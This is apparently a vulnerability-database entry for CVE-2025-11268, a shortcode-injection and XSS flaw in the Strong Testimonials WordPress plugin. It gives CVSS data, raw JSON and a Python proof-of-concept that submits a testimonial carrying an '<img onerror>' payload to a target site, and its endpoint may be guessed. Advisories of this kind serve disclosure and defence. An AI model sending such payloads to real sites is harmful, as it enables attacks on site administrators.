Security Vulnerability Report
中文
CVE-2025-11268 CVSS 4.3 MEDIUM

CVE-2025-11268

Published: 2025-11-06 09:15:33
Last Modified: 2026-04-15 00:35:42

Description

The Strong Testimonials plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.2.16. This is due to the software allowing users to submit a testimonial in which a value is not properly validated or sanitized prior to being passed to a do_shortcode call. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes if an administrator previews or publishes a crafted testimonial.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Strong Testimonials plugin for WordPress <= 3.2.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-11268 PoC - Arbitrary Shortcode Execution in Strong Testimonials # Target: WordPress site with Strong Testimonials plugin <= 3.2.16 TARGET_URL = "http://target-wordpress-site.com" # Get the testimonial submission form URL FORM_URL = f"{TARGET_URL}/wp-json/wp/v2/strong_testimonials/submit" # Malicious shortcode payload # This example uses a simple shortcode to demonstrate the vulnerability # In real attack, attacker could use admin-related shortcodes or other dangerous ones MALICIOUS_PAYLOAD = "[caption width='1' caption='<img src=x onerror=alert(1)>']Test[/caption]" def exploit_cve_2025_11268(): """ Exploit for CVE-2025-11268: Arbitrary Shortcode Execution Attack Vector: 1. Attacker submits a testimonial containing malicious shortcode 2. Attacker tricks administrator to preview/publish the testimonial 3. Malicious shortcode gets executed via do_shortcode() Note: Requires admin interaction to trigger execution """ # Payload for testimonial submission data = { 'name': 'Attacker', 'email': '[email protected]', 'message': MALICIOUS_PAYLOAD, 'category_id': 1 } try: # Submit malicious testimonial (unauthenticated) response = requests.post(FORM_URL, data=data, timeout=10) if response.status_code == 200: print("[+] Malicious testimonial submitted successfully") print("[*] Wait for admin to preview/publish the testimonial") print("[*] When triggered, the shortcode will be executed") else: print(f"[-] Failed to submit: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_cve_2025_11268()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11268", "sourceIdentifier": "[email protected]", "published": "2025-11-06T09:15:33.197", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Strong Testimonials plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.2.16. This is due to the software allowing users to submit a testimonial in which a value is not properly validated or sanitized prior to being passed to a do_shortcode call. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes if an administrator previews or publishes a crafted testimonial."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3381902/strong-testimonials", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cbdfe58e-1e09-41b6-8ac9-6976c27aa58d?source=cve", "source": "[email protected]"}]}}